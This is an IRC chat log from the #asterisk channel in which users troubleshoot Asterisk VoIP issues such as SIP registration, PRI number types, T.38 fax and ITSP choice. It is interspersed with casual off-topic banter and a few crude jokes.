| 14:26.48 | NourSs | Particular |
| 14:26.54 | p3nguin | But Digium "trained" you? |
| 14:27.09 | NourSs | ( Sorry my anglish is bad ) |
| 14:27.13 | NourSs | english ! |
| 14:27.28 | psilikon | Can you have multiple asterisk boxes on the same network sip peer with the same ITSP account? |
| 14:27.32 | NourSs | http://cgi.ebay.fr/ws/eBayISAPI.dll?ViewItem&item=110743690241 |
| 14:27.36 | NourSs | http://cgi.ebay.fr/ws/eBayISAPI.dll?ViewItem&item=110743690450 |
| 14:27.42 | kraptv | tout le monde technologique parle anglais, non? |
| 14:27.44 | cstachris | pouvais vous parlez plu klairmont sil vous plait :) my french is bad |
| 14:27.55 | NourSs | The cards come from the formation of Digium |
| 14:28.23 | leifmadsen | nice, pictures of the card are from the digium website directly |
| 14:28.28 | leifmadsen | vs. a picture of the actual card |
| 14:28.31 | *** join/#asterisk McBoingBo (~McBoingBo@mail.hrsg.ca) |
| 14:28.45 | pabelanger | When you do Digium training, you get a swag bag with 2 cards. I assume he is selling them |
| 14:28.47 | NourSs | See her : http://www.digium.com/en/training/courses/#advanced |
| 14:28.56 | leifmadsen | ah |
| 14:28.57 | NourSs | YES pabelanger : Thx lol |
| 14:28.59 | kraptv | fabriquement du china??? |
| 14:29.04 | leifmadsen | well that would make more sense :) |
| 14:29.08 | NourSs | No china lol, official hardware |
| 14:29.31 | NourSs | pabelanger: 2 cards and an Polycom IP 331 |
| 14:29.36 | pabelanger | yup |
| 14:29.43 | NourSs | If anybody buy my two cards, i offer the Polycom |
| 14:29.58 | cstachris | irc special! |
| 14:30.01 | pabelanger | Did training last year, using polycom 331 now |
| 14:30.20 | *** join/#asterisk putnopvut (~putnopvut@asterisk/master-of-queues/mmichelson) |
| 14:30.20 | *** mode/#asterisk [+o putnopvut] by ChanServ |
| 14:31.27 | NourSs | Nobody for my card ? :/ |
| 14:33.11 | pabelanger | ~patience |
| 14:33.11 | infobot | methinks patience is a Godly attribute, or the solution for most things. |
| 14:33.17 | WIMPy | NourSs: Have yu take a look at the usual ebay prices? You won;t get a bid on that. |
| 14:34.49 | p3nguin | psilikon: Generally, no. Sometimes yes. |
| 14:35.11 | WIMPy | Good morning, BTW :-) |
| 14:35.54 | McBoingBo | Good morning peoples of the internetz! |
| 14:36.39 | BladeMcCool | do people pay for themselves to go to this training or do their "company" aka "employer relation" pay for it? |
| 14:36.47 | psilikon | p3nguin, ha! I love it. So the best practice would then be to designate a sip 'gateway' of sorts? |
| 14:37.42 | cerienjean | napnap ? |
| 14:39.39 | napnap | cerienjean: yeah ? what's up ? |
| 14:40.02 | cerienjean | re authorized resellers in france, you may want to look at the french forum - know it ? |
| 14:41.17 | cstachris | re: flashing lights on phones, what does this message mean: new state Idle for Notify User 2125 (queued) |
| 14:41.27 | napnap | cerienjean: I will see |
| 14:41.46 | cstachris | specifically (queued) - i don't think flashing lights are getting updated on a couple of phones... |
| 14:41.54 | cerienjean | http://www.asterisk-france.org/forum.php |
| 14:42.06 | *** join/#asterisk Tech_Travis (~Travis_El@cpe-76-168-191-127.socal.res.rr.com) |
| 14:42.25 | cerienjean | there are a few active professional there reselling asterisk based solutions |
| 14:44.01 | *** join/#asterisk squig (~bendeluca@soho-94-143-249-50.sohonet.co.uk) |
| 14:48.53 | napnap | cerienjean: I don't see explicit post, but I can do it... |
| 14:48.58 | napnap | cerienjean: thx |
| 14:49.24 | *** part/#asterisk NourSs (~gholzinge@LAubervilliers-151-13-22-64.w217-128.abo.wanadoo.fr) |
| 14:51.37 | *** join/#asterisk jayson_r (~jayson@cpe-071-076-046-081.sc.res.rr.com) |
| 14:59.13 | *** join/#asterisk The_Boy_Wonder (~vossel@asterisk/batman-developer/dvossel) |
| 14:59.13 | p3nguin | psilikon: Asterisk itself does not support multiple registrations for a single account, it will discard all but the last one. However, most ITSPs do not have Asterisk sitting on the front line -- they often use SER or some other proxy. I assume it is a feature of their proxies to allow multiple registration for a single account and still be able to receive calls on all of them at the same time. |
| 15:06.11 | psilikon | p3nguin, Thank you. I am thinking about adding an openSips gateway but I am also contemplating the use of iax peers between individual asterisk boxes in the cluster. |
| 15:06.39 | p3nguin | If you're clustering, wouldn't dundi be the way to do it? |
| 15:09.10 | p3nguin | ~dundi |
| 15:09.11 | infobot | somebody said dundi was at http://www.dundi.com. DUNDi, an optional Asterisk component, is a distributed, decentralized peer to peer network that provides routes to PSTNs between peers on the same DUNDi network. |
| 15:10.07 | WIMPy | You still need IAX or SIP or whatever. |
| 15:10.40 | *** join/#asterisk zerohalo (~zerohalo@173-13-92-27-NewEngland.hfc.comcastbusiness.net) |
| 15:13.38 | *** join/#asterisk gerhard7 (~gerhard7@82-171-103-215.ip.telfort.nl) |
| 15:15.05 | *** join/#asterisk Katty (~Katty@mail.copi-rite.com) |
| 15:15.07 | Katty | hi |
| 15:16.13 | *** join/#asterisk hron85 (~hron@hq.ezit.hu) |
| 15:16.53 | *** join/#asterisk drift- (ae3001a4@gateway/web/freenode/ip.174.48.1.164) |
| 15:20.24 | kraptv | whoa, do you know kitty dash? |
| 15:20.36 | beek | hugs katty |
| 15:20.40 | Katty | beekster! |
| 15:20.43 | Katty | hugs on beek |
| 15:20.55 | beek | How goes it with you Katty |
| 15:20.57 | Katty | are we going to do christmas cards this year. |
| 15:21.05 | *** join/#asterisk navaismo (~navaismo@fixed-203-96-202.iusacell.net) |
| 15:21.15 | beek | I'm an atheist. I'll do solstace cards. |
| 15:21.28 | Katty | works for me. |
| 15:21.36 | *** join/#asterisk retentiveboy (~pdugas@74-95-28-33-Atlanta.hfc.comcastbusiness.net) |
| 15:21.40 | coppice | solstice |
| 15:21.54 | Katty | i should probably get a list of names and address together |
| 15:22.02 | beek | Thanks... I'm typing in three windows at a time here os spelling is not top of the list. |
| 15:22.06 | coppice | we celebrate winter solstice |
| 15:22.15 | Katty | in soviet russia |
| 15:22.20 | Katty | winter solstice, ceelbrates you |
| 15:22.23 | tzanger | hello coppice |
| 15:22.34 | Katty | so, who wants on the list |
| 15:22.47 | coppice | I wouldn't know, but in east asia people celebrate solstice |
| 15:22.54 | coppice | tzanger: hi |
| 15:24.12 | *** join/#asterisk Dovid (Dovid@office.mypbxmanager.net) |
| 15:24.59 | Dovid | hi all. when trying to send rpid with + Asterisk seems to replace + with %2B. Why is this ? Remote-Party-ID: "+555546749800" <sip:%2B555546749800@194.98.133.157>;party=calling;privacy=off;screen=no. |
| 15:25.10 | *** join/#asterisk aidinb (~aidin@unaffiliated/aidinb) |
| 15:25.12 | Katty | beek: do you want on the christmas card list? |
| 15:25.41 | beek | Why would an upgrade from Asterisk 1.6.0, DAHDI 2.3.0.1 to Asterisk 1.8.6 DAHDI 2.5.0.1, with no configuration changes, cause me to stop sending the "National Number" notification to my telco on the PRI? After the upgrade I'm needing to prepend a '1' to long distance calls. |
| 15:25.41 | Katty | infobot: christmas |
| 15:25.41 | infobot | [christmas] the feast for the birth of Jesus Christ our Savior, or commercialised, or on December 25th. unless you aren't christian, when christmas is an opportunity to screw dumb christians for lots of money, or nono, this is all wrong, christmas is on December 24th |
| 15:25.58 | Katty | infobot: asterisk christmas card |
| 15:26.02 | Katty | infobot: christmas card |
| 15:26.02 | infobot | from memory, christmas card is If you're interested in being on the Asterisk Christmas Card List please see Katty for an invite. |
| 15:26.02 | beek | katty: I'll be on the holiday card list. |
| 15:26.55 | tzanger | coppice: my brother's starting to get intersted in software defined radios and he asked me a question I didn't have an answer for... he was asking in the general sense, what algorithms are most often used with sdrs? aside from filters I would guess the answer would be discriminators and whatever algorithms end up doing modulation and demodulation, but I have no diea what those would be |
| 15:29.35 | Katty | if anyone else wants to take part in the christmas card exchange, let me know! |
| 15:29.40 | WIMPy | beek: Probably because Asterisk 1.8 knows about number types and 1.6 did not. |
| 15:30.15 | p3nguin | I know I got on the list last year, but I don't think I ever had the list to be able to send any cards. |
| 15:30.16 | coppice | tzanger: they basically just do in software what people prevously did in digital or analogue hardware. just get a good comms book, like Proakis, and be prepared for some serious study |
| 15:30.26 | beek | WIMPy, so how do I convince it to send "National" now? |
| 15:31.47 | tzanger | coppice: oh it's not the study I'm worried about. it's the math. :-) |
| 15:31.56 | WIMPy | beek: See a current chan_dahdi.conf. It has parameters that can be used in Dial() now, in addition to the *plan* options. |
| 15:32.12 | coppice | tzanger: so, you don't need to study the maths? |
| 15:32.27 | beek | WIMPy: Thanks! |
| 15:32.51 | tzanger | coppice: well, my math is pretty weak. if it were for me, I would focus first on getting good at math, THEN looking at the algorithms. |
| 15:33.20 | tzanger | I mean I'm seriously math retarded when it comes to anything involving greek letters, stats or calculus |
| 15:33.35 | tzanger | and every time I pick up a comms book it jumps right into all three. :-) |
| 15:36.04 | coppice | depends just how poor your maths is. studying a whole lot of maths before you can get started on what you are really interested in could be highly discouraging. if it didn't stick at school, will it stick any better the second time around? |
| 15:37.03 | tzanger | coppice: well I'm finding that as my brain hit about 30y I started to understand things at a far more "basic" level than before |
| 15:37.20 | tzanger | concepts I just took for granted as being right suddenly were understood and not just assumed |
| 15:37.43 | tzanger | so yes, I think that going over my hs calc/algebra again will be much more enlightening |
| 15:39.15 | coppice | if you are comfortable with basic caluculus, complex numbers, and fourier and correlation/convolution mean something meaningful to you, you are probably ready to get started |
| 15:39.29 | Dovid | please don't mind if i ask again but |
| 15:39.38 | Dovid | hi all. when trying to send rpid with + Asterisk seems to replace + with %2B. Why is this ? Remote-Party-ID: "+555546749800" <sip:%2B555546749800@194.98.199.157>;party=calling;privacy=off;screen=no. |
| 15:40.55 | tzanger | I enjoyed calc, just didn't *get* it. comple numbers, yes. fourier I understand what it's doing but now how the math does it. correlation yesish, convolution... no. :-) |
| 15:41.06 | tzanger | but yeah, like I said, once I learn how to speak math better, I am sure those will all come |
| 15:41.51 | tzanger | I noticed a similar fundamental understanding occured around 30y with my electronics knowledge too. I could make things work, but my ability to really understand what I was doing and work more effectively jumped around that age |
| 15:42.25 | coppice | convolution is just correlation backwards :-) |
| 15:43.05 | tzanger | heh |
| 15:44.44 | coppice | if you reverse one of the vectors you are correlating, that's convolution. Its the basis of one of the major classes of filter, amongst other things |
| 15:45.37 | tzanger | hmm |
| 15:45.44 | tzanger | more things to learn |
| 15:50.04 | *** join/#asterisk Tim_Toady (~fuzzy@195.74.229.189) |
| 15:52.37 | *** join/#asterisk Defraz (~Defraz@corp.fuzecore.com) |
| 15:58.38 | Dovid | is there any way to excape ; in the asterisk dialplan ? |
| 15:59.00 | *** join/#asterisk Buklov (~Buklov@mail.sapsun.su) |
| 15:59.15 | *** join/#asterisk FiReSTaRT (~dlyh@unaffiliated/firestart) |
| 16:03.41 | m_tadeu | at what time is the cdr event triggered for the manager? |
| 16:04.43 | *** join/#asterisk greenwolf (~chatzilla@cpe-74-77-221-5.buffalo.res.rr.com) |
| 16:08.03 | *** join/#asterisk aidinb (~aidin@unaffiliated/aidinb) |
| 16:22.12 | *** join/#asterisk brdude (~brdude@12.155.183.30) |
| 16:23.55 | *** part/#asterisk Luyt (~Luyt@gandhi.xs4all.nl) |
| 16:25.10 | *** join/#asterisk catphish (~catphish@gateway.office.atechmedia.net) |
| 16:25.54 | catphish | does T38 need to be enabled as a codec on sip peers to work? |
| 16:28.53 | *** join/#asterisk coppice (~chatzilla@116.92.20.245) |
| 16:28.59 | carrar | no |
| 16:29.07 | carrar | but you do need to set t38pt_udptl stuff |
| 16:30.02 | catphish | what does that do/ |
| 16:30.07 | carrar | read up |
| 16:31.10 | carrar | (in sip.conf) |
| 16:32.37 | catphish | i couldn't find much on those settings |
| 16:32.52 | catphish | but i guess simply enabling them will enable passthrough |
| 16:33.11 | catphish | i already have termination working with spandsp, just not passthrough |
| 16:35.00 | catphish | ah yes, [Sep 14 17:00:51] WARNING[30279] chan_sip.c: Unsupported SDP media type in offer: image 16814 udptl t38 |
| 16:47.51 | pabelanger | Qwell: ping |
| 16:49.31 | *** join/#asterisk timahvo1 (~rogue@41.215.1.35) |
| 16:54.18 | *** join/#asterisk jmwpc (~jeremy@c-24-5-58-60.hsd1.ca.comcast.net) |
| 17:04.11 | *** join/#asterisk talntid (talntid@c-98-225-8-150.hsd1.wa.comcast.net) |
| 17:06.51 | *** join/#asterisk anonymouz666 (~anonymouz@189.25.65.185) |
| 17:08.46 | *** join/#asterisk Praise (~Fat@unaffiliated/praise) |
| 17:10.27 | *** join/#asterisk StaRetji (~BigAll@80.93.240.171) |
| 17:13.11 | *** join/#asterisk Juggie (~Juggie@unaffiliated/juggie) |
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| 17:15.44 | *** part/#asterisk jmwpc (~jeremy@c-24-5-58-60.hsd1.ca.comcast.net) |
| 17:19.23 | *** join/#asterisk Naikrovek (~mbluth@unaffiliated/naikrovek) |
| 17:20.20 | *** join/#asterisk jkroon (~jkroon@197.174.52.66) |
| 17:22.52 | *** join/#asterisk neurosys (~neurosys@50.20.67.209) |
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| 17:28.16 | *** join/#asterisk oej (~olle@ns.webway.se) |
| 17:47.53 | *** join/#asterisk singler (~singler@78-60-139-121.static.zebra.lt) |
| 17:49.39 | Katty | helllllllllllllooooooooooooooo nurse. |
| 17:53.54 | *** join/#asterisk Cain (~Geek@unaffiliated/cain) |
| 17:54.08 | *** part/#asterisk Cain (~Geek@unaffiliated/cain) |
| 17:54.18 | *** join/#asterisk xpatch (~xpatch@74.114.208.251) |
| 17:55.04 | *** join/#asterisk Cain (~Geek@unaffiliated/cain) |
| 17:56.24 | *** join/#asterisk cain (~Geek@unaffiliated/cain) |
| 17:59.32 | carrar | hi kattyRooooooooooooooo |
| 18:00.07 | carrar | I've never seen it so quite here in the morning |
| 18:00.14 | carrar | something must be broken |
| 18:00.20 | talntid | or... |
| 18:00.24 | talntid | nothing is broken, hence the quiet... |
| 18:00.57 | *** join/#asterisk malcolmd_ (~malcolmd@pdpc/sponsor/digium/malcolmd) |
| 18:00.57 | *** mode/#asterisk [+o malcolmd_] by ChanServ |
| 18:01.01 | carrar | Asterisk has reached true Utopia |
| 18:01.07 | *** join/#asterisk irroot (~irroot@41.53.106.48) |
| 18:05.06 | tzanger | hmm, which is the recommended sip frontend for asterisk these days... opensips, kamilio, something else? |
| 18:06.10 | carrar | why do you need one? |
| 18:06.32 | tzanger | carrar: looking to insulate asterisk from the network and include the possiblity to mangle SIP packets |
| 18:06.49 | carrar | Could use asterisk for that |
| 18:07.01 | BladeMcCool | in sip.conf is there a way to specify multiple possible host IPs that incoming calls would come in, on one host= line or within the same [Foo] context (or watever those are called in sip.conf) |
| 18:07.08 | *** join/#asterisk Alric (~alric@64.6.54.218) |
| 18:07.13 | *** join/#asterisk Chainsaw (~chainsaw@gentoo/developer/atheme.member.chainsaw) |
| 18:07.18 | carrar | but opensips/kamilio works great for that |
| 18:07.28 | tzanger | carrar: again, looking to insulate Asterisk from the network. I'd rather not use asterisk to insulate asterisk :-) |
| 18:07.41 | tzanger | carrar: which is considered more stable? don't really need/want super bleeding edge stuff |
| 18:07.47 | carrar | yes |
| 18:08.06 | WIMPy | BladeMcCool: No. You have to create multiple peers. |
| 18:08.21 | xpatch | how can I dump the flags that were used to compile asterisk? |
| 18:12.19 | BladeMcCool | ty WIMPy for infos |
| 18:12.24 | Alric | I have a Polycom that I have configured to connect to my gateway asterisk machine on its WAN. When I plug the Polycom on the LAN, it registers fine. When I take it elsewhere (behind a foreign NAT) and attempt to register I get a 401 Unauthorized. I'm using Asterisk 1.8.2 and have nat=yes for that friend. Anything I might have missed? |
| 18:15.58 | voxter | is there any way to determine what compile time flags were used on a binary asterisk installation? |
| 18:16.05 | voxter | I mean, when it was originally compiled |
| 18:17.12 | carrar | no |
| 18:17.19 | *** join/#asterisk dandate2 (~dan@124.6.157.210) |
| 18:17.32 | dandate2 | why would someone have a noise like raining in the background over SIP but sound fine over skype? |
| 18:17.53 | beek | dandate2: Comfort noise? |
| 18:18.23 | beek | offers a WAG |
| 18:18.55 | Chainsaw | Or low level background noise that is hard to encode on a low bandwidth codec. |
| 18:19.07 | Chainsaw | Same as how violins in hold music sound on a cellphone. |
| 18:20.26 | *** join/#asterisk i3inary (~i3inary@wsip-98-175-241-184.sd.sd.cox.net) |
| 18:24.05 | Chainsaw | dandate2: I would not expect it on G711 though. Just something like G729. |
| 18:27.52 | *** join/#asterisk irroot (~irroot@41.53.106.48) |
| 18:29.08 | Chainsaw | wb irroot |
| 18:29.43 | irroot | thx hi there |
| 18:30.01 | KavanS | what is the list of voip isps? |
| 18:30.05 | coppice | dandate2: skype brings the sun out |
| 18:32.00 | p3nguin | I'm not sure there's a complete list of ITSPs available. |
| 18:33.48 | *** join/#asterisk Juggie (~Juggie@unaffiliated/juggie) |
| 18:34.20 | KavanS | ahh ok... |
| 18:34.23 | KavanS | thought there was one on the bot |
| 18:34.42 | p3nguin | In what region are you looking for an ITSP? |
| 18:34.46 | carrar | ~itsp |
| 18:34.46 | infobot | [~itsp] An ITSP is an Internet Telephony Service Provider (or VoIP telephone company). They allow you to either SEND calls to the PSTN (this is called termination), RECEIVE calls from the PSTN (called origination), or both. Some offer fixed rates, others $/min. Enter ~itsplist-us (USA) or ~itsplist-ca (Canada) for a listing of popular ITSPs. |
| 18:35.02 | *** join/#asterisk gravin (~gravin@3.72.50.60.brf01-home.tm.net.my) |
| 18:35.15 | KavanS | ~itsplist-us |
| 18:35.15 | infobot | Here are some popular ITSPs (USA) starting with the more respected ones: http://www.teliax.com , http://www.voicepulse.com/connect/ , http://www.broadvoice.com , http://www.jnctn.com , http://www.bandwidth.com , http://vitelity.net , http://voip.ms and http://flowroute.com |
| 18:36.47 | *** join/#asterisk gravin (~gravin@3.72.50.60.brf01-home.tm.net.my) |
| 18:39.49 | anonymouz666 | leifmadsen: about ringinuse we talked yesterday, look at the devel mail list, that is what I was talking about |
| 18:40.16 | anonymouz666 | Re: [asterisk-dev] Asterisk 1.8 SIP_CAUSE performance regression |
| 18:41.03 | KavanS | any suggestions for a reliable "bulk" pay as you go provider? SIP/IAX trunk |
| 18:41.21 | anonymouz666 | that is true, if he does not use call-limit/callcounter or group/group_count, ringinuse will make the agents crazy |
| 18:41.25 | *** join/#asterisk furia (~herman.jo@d51528B76.access.telenet.be) |
| 18:41.42 | *** part/#asterisk sekil (~sekil@78.24.104.73) |
| 18:42.55 | furia | Herman lookin for Paul Belanger for asterisk installation on ubuntu lucid |
| 18:44.25 | Chainsaw | furia: It must be pabelanger? It can't be anyone else? |
| 18:44.27 | *** join/#asterisk saisoma (~saisoma@client72.jdcc.edu) |
| 18:44.39 | leifmadsen | Chainsaw: right, because pabelanger is kind of a big deal |
| 18:45.32 | *** join/#asterisk garymc (~chatzilla@host109-155-155-5.range109-155.btcentralplus.com) |
| 18:46.14 | Katty | ATTENTION |
| 18:46.19 | Katty | I HAVE A SAMMICH |
| 18:46.22 | Katty | BOOM. |
| 18:46.24 | Katty | that is all. |
| 18:46.28 | talntid | GIVE ME |
| 18:46.31 | Chainsaw | Katty: Excellent. I have a sandwich too! :) |
| 18:46.38 | leifmadsen | anonymouz666: please elaborate |
| 18:46.41 | Chainsaw | Katty: Ham & mustard. 3 pieces. On a train. |
| 18:46.54 | Katty | also! if you would like to participate in the asterisk christmas card exchange please /query me! |
| 18:46.57 | talntid | give me sammich. |
| 18:46.59 | ChannelZ | A proper one or something foofy with avacados and jicima or something? |
| 18:47.03 | Katty | Chainsaw: Like A Boss |
| 18:47.18 | Katty | avocado is delicious. |
| 18:47.31 | Chainsaw | Katty: Ah yes, very tropical. Good choice :) |
| 18:47.31 | Katty | don't you be knockin on the avocados. |
| 18:47.39 | SuPrSluG | green butter |
| 18:47.42 | talntid | SUDO give me a sammich! |
| 18:47.47 | navaismo | guacamole rulez! |
| 18:47.51 | Katty | i am higher than root. |
| 18:47.53 | Katty | i am a woman. |
| 18:47.59 | Katty | your sudo will not work on me. |
| 18:48.00 | talntid | ah crap. |
| 18:48.13 | Qwell | Katty: where's my sammich? |
| 18:48.22 | Katty | gives Qwell half her sammich |
| 18:48.27 | talntid | !@# :( |
| 18:48.30 | leifmadsen | Katty: but women are the makers, and bringers, and sandwiches! |
| 18:48.31 | p3nguin | kavans: I use VoIP.ms for my IAX2 trunk. I'm not sure what you mean by bulk, though. |
| 18:48.38 | Qwell | leifmadsen: and sandwiches? |
| 18:48.39 | Qwell | you're weird |
| 18:48.45 | leifmadsen | s/and sandwiches/of sandwiches/ |
| 18:48.46 | Katty | *hee* |
| 18:48.54 | Katty | also...the eaters. of sandwiches. |
| 18:49.01 | KavanS | p3nguin, well...I mean pay as you guy, no monthly fees outside of the per minute fees |
| 18:49.10 | leifmadsen | women can sometimes be sandwiches too... I suppose.... but we won't go there |
| 18:49.12 | Katty | talntid: Qwell does not need to sudo. |
| 18:49.16 | Katty | talntid: he's special. |
| 18:49.17 | Chainsaw | Pay as you guy! |
| 18:49.26 | KavanS | go... |
| 18:49.27 | KavanS | sorry |
| 18:49.29 | KavanS | on the phone and typing |
| 18:49.34 | Katty | i think Pay as you guy better. |
| 18:50.09 | p3nguin | kavans: If you don't have a DID, you'll only pay for termination minute used. If you have a DID, you'll pay the monthly DID fee for it plus minutes used, or the monthly unlimited DID fee. |
| 18:50.21 | KavanS | cool... |
| 18:50.23 | KavanS | yeah I don't need a DID |
| 18:50.43 | Chainsaw | KavanS: Just for future reference, PayAsYouGuy is your new nickname. |
| 18:50.52 | KavanS | lol k |
| 18:51.02 | Katty | also, fritos are delicious. |
| 18:51.08 | Katty | especially those bbq twisty ones |
| 18:51.13 | p3nguin | kavans: VoIP.ms also doesn't give you channel restrictions like some ITSPs. If you want to make 30 calls at once, they allow it. |
| 18:51.42 | KavanS | nice |
| 18:51.53 | KavanS | what are their per minute rates for u.s. on average? |
| 18:52.24 | *** part/#asterisk furia (~herman.jo@d51528B76.access.telenet.be) |
| 18:52.27 | talntid | opens his oreo package, and begins munching oreos. |
| 18:52.30 | p3nguin | If you don't opt to use the premium route, all of US is 1.05 cents/minute. |
| 18:52.53 | p3nguin | If you use the premium route, I think it's 1.2 cents/minute. |
| 18:53.06 | p3nguin | Calling to Canada numbers should be slightly less. |
| 18:53.16 | Katty | now i want sweets. |
| 18:53.17 | Katty | dangit |
| 18:53.31 | Chainsaw | We take full responsibility. |
| 18:53.38 | Qwell | Katty: I have sweets! |
| 18:53.45 | Chainsaw | Ah, that's my station. |
| 18:53.47 | Katty | brt! |
| 18:53.54 | Chainsaw | Back later. |
| 18:53.58 | Qwell | s/have/is? |
| 18:54.00 | Katty | actually i'm hoping this Charmed Life lotion will do the trick |
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| 18:54.08 | Qwell | lotion isn't sweets |
| 18:54.20 | Katty | it smells sweet. |
| 18:54.37 | Katty | and i got it for free at bath and body works |
| 18:54.55 | Katty | cause that's the only place i shop-yo |
| 18:55.14 | Katty | err at least for body stuff (= |
| 18:55.31 | Katty | they came out with their fall candles not too long ago |
| 18:55.41 | Katty | if i'm not careful i'm going to drop 100 bucks on candles alone |
| 18:56.19 | coppice | make sure they aren't lit |
| 18:56.26 | talntid | yeah, someone lets her around fire? |
| 18:56.35 | pabelanger | opps, too late |
| 18:56.36 | Katty | :< |
| 18:56.44 | pabelanger | infobot: leifmadsen++ |
| 18:57.00 | Katty | that's not funny. |
| 18:57.03 | Katty | ok. maybe a little. |
| 18:57.23 | Katty | but if you saw all the new candles they have, you'd want them too! |
| 18:57.35 | Katty | salty caramel popcorn, sugared donuts >.< |
| 18:57.52 | pabelanger | Qwell: ping? |
| 18:58.15 | Qwell | pabelanger: he left |
| 18:58.17 | talntid | PONG! 1316026693 |
| 18:58.44 | pabelanger | Qwell: right, had a question about asterisk RPMs. Is CentOS 5.6 supported? |
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| 18:59.20 | Qwell | pabelanger: they released 5.7 last night. fixing now |
| 18:59.51 | pabelanger | So, when they do a dot release, we need to rebuild packages? |
| 18:59.52 | Katty | apple crisp, homemade cookies, frosted cupcake, creamy pumpkin, caramel apple, mint chocolate, cinnamon sticks, hot chocolate, marshmallow fireside, pumpkin caramel latte, oatmeal raisin cookie, s'mores, spiced cider >.< |
| 19:00.03 | Qwell | pabelanger: new kernels |
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| 19:00.28 | beek | It should be illegal to make candles smell like food goodies. |
| 19:00.35 | pabelanger | DAHDI breaks I assume? |
| 19:00.35 | Katty | NO |
| 19:00.56 | Katty | if i can't eat it, i'm going to smell it dagnabitanyhow!!! |
| 19:01.04 | Qwell | pabelanger: updates will fail. This guys case was special, since he was doing a new install |
| 19:01.15 | Qwell | (fail gracefullyish) |
| 19:01.19 | talntid | Katty, scentsy :) |
| 19:01.29 | Katty | vera-scentsy |
| 19:01.32 | pabelanger | k |
| 19:01.37 | Katty | ...that would have been an awesome derby name |
| 19:02.03 | p3nguin | derby? |
| 19:02.14 | Qwell | p3nguin: of the roller variety |
| 19:02.17 | p3nguin | oh |
| 19:02.18 | talntid | must be a female thing. |
| 19:02.23 | p3nguin | I was thinking horse racing. |
| 19:02.29 | talntid | i was thinking car racing. |
| 19:02.52 | Katty | they have mens derby teams too |
| 19:02.57 | Katty | but yes, women's rollerderby is much more popular |
| 19:03.14 | Katty | my derby name is Colonel Lynn Nixx |
| 19:03.28 | Katty | cause i'm geektacular like that. |
| 19:03.29 | talntid | i can't tell the difference between most of the women and men roller derby |
| 19:03.31 | p3nguin | Anything with chicks beating up other chicks is going to be popular. |
| 19:03.33 | talntid | just kidding ;) |
| 19:03.40 | Katty | p3nguin: true dat |
| 19:04.33 | talntid | hmm... http://www.ro-ro.fbjs.facebook.com/people/Col-Lynn-Nixx/100002770977830 :p |
| 19:05.40 | Katty | wootwoot |
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| 20:34.37 | hardwire | any way to keep gosub from changing the dst? |
| 20:35.54 | hardwire | nevermind. |
| 20:35.59 | hardwire | not a bug eat your shorts |
| 20:37.02 | hardwire | I just need to make contexts for all my gosubs |
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| 21:09.28 | WIMPy | hardwire: No you just do Gosub(context,exten(prio,${EXTEN})) |
| 21:09.31 | *** join/#asterisk joobie (~joobie@unaffiliated/moo0o0ooo00o0o0o) |
| 21:09.54 | beek | WIMPy... thanks for the assistance today. Problem solved! |
| 21:09.57 | joobie | hey guys.. anyone played around with the Openvox G400P/E GSM cards? Any good or is there a better option to get Asterisk onto the GSM network? |
| 21:10.35 | navaismo | gsm gateways are cheaper than that card |
| 21:10.59 | WIMPy | And mobile phones or USB sticks are even cheaper. |
| 21:11.13 | navaismo | yx.cl |
| 21:12.16 | *** join/#asterisk lanning (~lanning@173-8-187-197-SFBA.hfc.comcastbusiness.net) |
| 21:12.48 | joobie | im trying to get something that has excellent reception |
| 21:13.01 | *** join/#asterisk mickecarlsson (~Micke@h10n3c1o1101.bredband.skanova.com) |
| 21:13.03 | joobie | the asterisk box is in a datacenter so it has poor mobile reception |
| 21:13.09 | navaismo | take a look at http://yx.cl |
| 21:16.02 | joobie | which device on there navaismo ? that site has some neat gear |
| 21:16.05 | joobie | neat looking that is |
| 21:16.21 | navaismo | lyric voip |
| 21:16.26 | joobie | fark |
| 21:16.31 | joobie | the Openvox is cheaper |
| 21:16.47 | joobie | 4 channel GSM is $1615USD |
| 21:16.54 | navaismo | really? humm in my country is more expensive |
| 21:17.12 | joobie | yea |
| 21:17.16 | joobie | the OpenVox is about 600$ |
| 21:17.43 | *** join/#asterisk mateu (~mateu@missoula.org) |
| 21:17.45 | navaismo | maybe for the taxes fo imprt them |
| 21:17.50 | joobie | sorry the G400P is $299USD |
| 21:18.06 | navaismo | with all gsm modules?? |
| 21:18.20 | joobie | ahh |
| 21:18.22 | joobie | good call |
| 21:18.32 | joobie | $299 for 1 GSM module, +600 for 4 modules |
| 21:18.41 | *** join/#asterisk evil_gordita (robert@ip70-188-50-186.rn.hr.cox.net) |
| 21:18.42 | joobie | still cheaper than the lyric |
| 21:18.46 | navaismo | yes |
| 21:19.22 | navaismo | here the board with one module cost 1102.50USD |
| 21:19.40 | joobie | ahh |
| 21:20.04 | joobie | in terms of reception |
| 21:20.11 | joobie | ie. getting the best reception from a GSM card |
| 21:20.15 | joobie | which would be the way to go? |
| 21:20.33 | joobie | ultimately if it costs a little more i dont mind, as reception is very limited in the datacenter and i want the thing to work |
| 21:20.46 | joobie | someone recommended the Openvox GSM cards to me about a year or so ago |
| 21:20.55 | joobie | that's the only reason i was looking down that route |
| 21:21.02 | navaismo | but the reception depends on the antenna |
| 21:22.00 | joobie | doesnt it also depend on the power the device pushes? |
| 21:22.35 | *** join/#asterisk xpatch (~xpatch@74.114.208.251) |
| 21:24.02 | navaismo | thats too, i guess |
| 21:25.13 | joobie | so im tempted to buy this openvox |
| 21:25.23 | p3nguin | A station is only as effective as its antenna system. |
| 21:25.25 | joobie | is there anythign bad about it? |
| 21:25.41 | joobie | someone was saying it's a rip off card, i.e. they rebrand others |
| 21:25.51 | joobie | but i couldnt find digium or sangoma making this chipset |
| 21:28.38 | Katty | it's raining. |
| 21:28.49 | p3nguin | Yes it is. |
| 21:30.07 | joobie | navaismo, where do you buy your lyric form? |
| 21:30.07 | *** join/#asterisk darksk1ez (~mhb@darkskiez.ipv6.darkskiez.co.uk) |
| 21:30.11 | joobie | -form+from |
| 21:30.14 | joobie | it looks like a neat device |
| 21:30.34 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 21:31.34 | navaismo | mmm i buy with a reseller here in mexico |
| 21:32.20 | p3nguin | Wait. They have Internets in Mexico? |
| 21:32.28 | talntid | it's dirty internet. |
| 21:32.36 | navaismo | lol |
| 21:33.32 | talntid | and the Mexican packets are always trying to get over the firewall. grrrr |
| 21:34.11 | navaismo | 6Mb download / 768 upload for 60USD per month |
| 21:34.17 | p3nguin | I guess BGP needs to step up their game a bit. |
| 21:34.38 | talntid | yep |
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| 21:36.33 | WIMPy | Yes, the antenna would be the most important bit. |
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| 22:30.12 | voxter | Any of you ever got around the cisco 7942 registering-behind-NAT problem using siproxd or similar? |
